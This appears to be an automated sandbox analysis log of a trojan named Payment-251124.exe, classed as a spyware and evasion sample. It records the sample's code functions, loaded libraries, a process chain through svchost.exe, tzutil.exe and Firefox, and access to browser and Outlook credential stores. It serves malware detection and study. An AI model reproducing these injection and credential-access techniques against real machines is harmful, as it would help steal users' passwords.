                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F079D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_00F079D3
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EEB0430_2_00EEB043
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00ED32000_2_00ED3200
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EF410F0_2_00EF410F
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EE02A40_2_00EE02A4
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00ECE3B00_2_00ECE3B0
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EF038E0_2_00EF038E
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EE06D90_2_00EE06D9
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EF467F0_2_00EF467F
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F2AACE0_2_00F2AACE
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EF4BEF0_2_00EF4BEF
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EECCC10_2_00EECCC1
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00ECAF500_2_00ECAF50
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC6F070_2_00EC6F07
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F231BC0_2_00F231BC
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EED1B90_2_00EED1B9
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EDB11F0_2_00EDB11F
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EF724D0_2_00EF724D
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EE123A0_2_00EE123A
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC93F00_2_00EC93F0
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F013CA0_2_00F013CA
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EDF5630_2_00EDF563
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC96C00_2_00EC96C0
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0B6CC0_2_00F0B6CC
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F2F7FF0_2_00F2F7FF
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC77B00_2_00EC77B0
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EF79C90_2_00EF79C9
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EDFA570_2_00EDFA57
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC9B600_2_00EC9B60
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00ED3B700_2_00ED3B70
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC7D190_2_00EC7D19
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EE9ED00_2_00EE9ED0
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EDFE6F0_2_00EDFE6F
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC7FA30_2_00EC7FA3
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_015F92500_2_015F9250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004189031_2_00418903
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004030501_2_00403050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0042F0831_2_0042F083
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004101631_2_00410163
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00402B661_2_00402B66
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00402B701_2_00402B70
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00416B0E1_2_00416B0E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00416B131_2_00416B13
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004103831_2_00410383
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040E3831_2_0040E383
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040E4D11_2_0040E4D1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040E4D31_2_0040E4D3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0040274A1_2_0040274A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004027501_2_00402750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FA3521_2_034FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344E3F01_2_0344E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_035003E61_2_035003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E02741_2_034E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C02C01_2_034C02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034C81581_2_034C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034301001_2_03430100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DA1181_2_034DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F81CC1_2_034F81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F41A21_2_034F41A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_035001AA1_2_035001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D20001_2_034D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034647501_2_03464750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034407701_2_03440770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343C7C01_2_0343C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345C6E01_2_0345C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034405351_2_03440535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_035005911_2_03500591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F24461_2_034F2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E44201_2_034E4420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EE4F61_2_034EE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FAB401_2_034FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F6BD71_2_034F6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343EA801_2_0343EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034569621_2_03456962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034429A01_2_034429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0350A9A61_2_0350A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344A8401_2_0344A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034428401_2_03442840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0346E8F01_2_0346E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034268B81_2_034268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B4F401_2_034B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03482F281_2_03482F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03460F301_2_03460F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E2F301_2_034E2F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03432FC81_2_03432FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034BEFA01_2_034BEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440E591_2_03440E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FEE261_2_034FEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FEEDB1_2_034FEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03452E901_2_03452E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FCE931_2_034FCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344AD001_2_0344AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DCD1F1_2_034DCD1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0343ADE01_2_0343ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03458DBF1_2_03458DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03440C001_2_03440C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03430CF21_2_03430CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E0CB51_2_034E0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342D34C1_2_0342D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F132D1_2_034F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0348739A1_2_0348739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345B2C01_2_0345B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E12ED1_2_034E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345D2F01_2_0345D2F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034452A01_2_034452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0347516C1_2_0347516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0342F1721_2_0342F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0350B16B1_2_0350B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0344B1B01_2_0344B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EF0CC1_2_034EF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034470C01_2_034470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F70E91_2_034F70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FF0E01_2_034FF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FF7B01_2_034FF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F16CC1_2_034F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F75711_2_034F7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DD5B01_2_034DD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034314601_2_03431460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FF43F1_2_034FF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FFB761_2_034FFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B5BF01_2_034B5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0347DBF91_2_0347DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345FB801_2_0345FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FFA491_2_034FFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F7A461_2_034F7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B3A6C1_2_034B3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034EDAC61_2_034EDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034DDAAC1_2_034DDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03485AA01_2_03485AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034E1AA31_2_034E1AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034499501_2_03449950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345B9501_2_0345B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034D59101_2_034D5910
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034AD8001_2_034AD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034438E01_2_034438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FFF091_2_034FFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03441F921_2_03441F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FFFB11_2_034FFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03449EB01_2_03449EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03443D401_2_03443D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F1D5A1_2_034F1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034F7D731_2_034F7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0345FDC01_2_0345FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034B9C321_2_034B9C32
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_034FFCF21_2_034FFCF2
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DEF3805_2_03DEF380
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF13DE5_2_03DF13DE
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF7B6E5_2_03DF7B6E
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF7B695_2_03DF7B69
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF11BE5_2_03DF11BE
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03E100DE5_2_03E100DE
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DF98E05_2_03DF98E0
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DEF52E5_2_03DEF52E
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DEF52C5_2_03DEF52C
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeCode function: 5_2_03DEF5255_2_03DEF525
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 034BF290 appears 103 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 034AEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0342B970 appears 262 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03475130 appears 58 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03487E54 appears 99 times
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: String function: 00EDEC2F appears 68 times
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: String function: 00EEF8A0 appears 35 times
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: String function: 00EE6AC0 appears 42 times
                Source: Payment-251124.exe, 00000000.00000003.1707711360.000000000404D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Payment-251124.exe
                Source: Payment-251124.exe, 00000000.00000003.1704815983.0000000003EA3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Payment-251124.exe
                Source: Payment-251124.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@9/6
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0CE7A GetLastError,FormatMessageW,0_2_00F0CE7A
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EFAB84 AdjustTokenPrivileges,CloseHandle,0_2_00EFAB84
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EFB134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_00EFB134
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0E1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_00F0E1FD
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F06532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,0_2_00F06532
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F1C18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,0_2_00F1C18C
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_00EC406B
                Source: C:\Users\user\Desktop\Payment-251124.exeFile created: C:\Users\user\AppData\Local\Temp\aut37CB.tmpJump to behavior
                Source: Payment-251124.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: tzutil.exe, 00000006.00000003.2360579481.0000000003030000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000003.2360792216.0000000003051000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3537943635.0000000003051000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: Payment-251124.exeReversingLabs: Detection: 57%
                Source: unknownProcess created: C:\Users\user\Desktop\Payment-251124.exe "C:\Users\user\Desktop\Payment-251124.exe"
                Source: C:\Users\user\Desktop\Payment-251124.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Payment-251124.exe"
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeProcess created: C:\Windows\SysWOW64\tzutil.exe "C:\Windows\SysWOW64\tzutil.exe"
                Source: C:\Windows\SysWOW64\tzutil.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\Payment-251124.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Payment-251124.exe"Jump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeProcess created: C:\Windows\SysWOW64\tzutil.exe "C:\Windows\SysWOW64\tzutil.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: Payment-251124.exeStatic file information: File size 1209856 > 1048576
                Source: Payment-251124.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: Payment-251124.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: Payment-251124.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: Payment-251124.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Payment-251124.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: Payment-251124.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: Payment-251124.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: tzutil.pdbGCTL source: svchost.exe, 00000001.00000003.2152256535.0000000002E26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2151815386.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, zBxRBzECNBW.exe, 00000005.00000003.2248150026.000000000145B000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: zBxRBzECNBW.exe, 00000005.00000002.3537474381.000000000035E000.00000002.00000001.01000000.00000005.sdmp, zBxRBzECNBW.exe, 00000007.00000002.3537627348.000000000035E000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: Payment-251124.exe, 00000000.00000003.1708087798.0000000003F20000.00000004.00001000.00020000.00000000.sdmp, Payment-251124.exe, 00000000.00000003.1709167860.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2089785969.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2183263308.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2183263308.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091749467.0000000003200000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000003.2183271595.00000000030CD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000003.2185659623.000000000327B000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539389763.0000000003430000.00000040.00001000.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539389763.00000000035CE000.00000040.00001000.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: Payment-251124.exe, 00000000.00000003.1708087798.0000000003F20000.00000004.00001000.00020000.00000000.sdmp, Payment-251124.exe, 00000000.00000003.1709167860.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.2089785969.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2183263308.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2183263308.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2091749467.0000000003200000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000003.2183271595.00000000030CD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000003.2185659623.000000000327B000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539389763.0000000003430000.00000040.00001000.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539389763.00000000035CE000.00000040.00001000.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: tzutil.exe, 00000006.00000002.3537943635.0000000002FCD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539905384.0000000003A5C000.00000004.10000000.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000002.3539319251.00000000027FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2475341747.000000003985C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: tzutil.exe, 00000006.00000002.3537943635.0000000002FCD000.00000004.00000020.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539905384.0000000003A5C000.00000004.10000000.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000002.3539319251.00000000027FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2475341747.000000003985C000.00000004.80000000.00040000.00000000.sdmp
